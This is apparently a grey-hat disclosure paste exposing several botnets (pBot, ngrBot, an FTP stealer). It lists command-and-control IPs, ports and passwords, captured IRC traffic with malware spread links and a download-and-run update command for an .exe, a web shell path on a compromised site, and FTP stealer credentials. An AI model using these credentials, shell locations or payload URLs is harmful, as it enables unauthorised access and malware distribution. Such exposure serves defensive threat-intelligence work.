PHP - pBot - e107.fuck.cc

Linux - ngrBot - 212.7.203.231

IP : 212.7.203.231
Port : 1866
Pass : secret
///// traffic on IRC
PRIVMSG x :[v="1.1.0.0" c="30e41aa1" h="256637BCBF0DEAC06623689DB831A54F" p="C:\Documents and Settings\UserName\Application Data\Scxaxs.exe"]
NICK n{US|XPa}ufzpzpe
USER ufzpzpe 0 0 :ufzpzpe
JOIN #!x! secret
PRIVMSG #!x! :[MSN]: Updated MSN spread interval to "2"
PRIVMSG #!x! :[MSN]: Updated MSN spread message to ":) hahahayhahahua! http://littlewillow.com/Facebook-pic-182626-JPEG"
PRIVMSG #!x! :[HTTP]: Updated HTTP spread interval to "3"
PRIVMSG #!x! :[HTTP]: Updated HTTP spread message to ";) hehehe! http://littlewillow.com/Facebook-pic-379596-JPEG"

//and easy found a shell whith simple crwaling
http://littlewillow.com/wp-content/uploads/2007/07/ibinc.php

Owned - ngrBot - bt1.oyoba.com

Resolved : [bt1.oyoba.com] To [87.251.154.185]
Resolved : [bt1.oyoba.com] To [87.251.154.168]
Resolved : [bt1.oyoba.com] To [87.251.154.135]
Resolved : [bt1.oyoba.com] To [87.251.154.145]

87.251.154.145:7654 Server Pass: ngrBot
87.251.154.135:7654 Server Pass: ngrBot
87.251.154.168:7654 Server Pass: ngrBot
87.251.154.185:7654 Server Pass: ngrBot
//////// BOT ////////////
Nick: n{US|XPa}bjhvcdc
Username: bjhvcdc
Server Pass: ngrBot
Joined Channel: #oldgold with Password noKIDs
Joined Channel: #US
Channel Topic for Channel #oldgold: "~pais ~updt http://myratingis.com/images/fu83.exe 601a0ac00b568b89adb801a1b38dd169"
Private Message to Channel #oldgold: "[d="http://myratingis.com/images/fu83.exe" s="401 bytes"] Update error: MD5 mismatch (629AC4710AC6DFD51A7377877CB49D04 != 601a0ac00b568b89adb801a1b38dd169)"

FTP - Stealer - 173.249.146.30 (JP)

//FTP -
173.249.146.30:21
USER hoge@premium-072.com
PASS 0123

// trafic on ftp 
| PORT 192,168,88,
| 128,4,31..SIZE s
| etting.ini..RETR
|  setting.ini..PA
| SS 0123..TYPE I.
| .PORT 192,168,88
| ,128,4,28..SIZE
| setting.ini..RET
| R setting.ini..P
| ASS 0123..TYPE I
| ..

OWNED - rtrforums.com

Thanks to exposedbotnets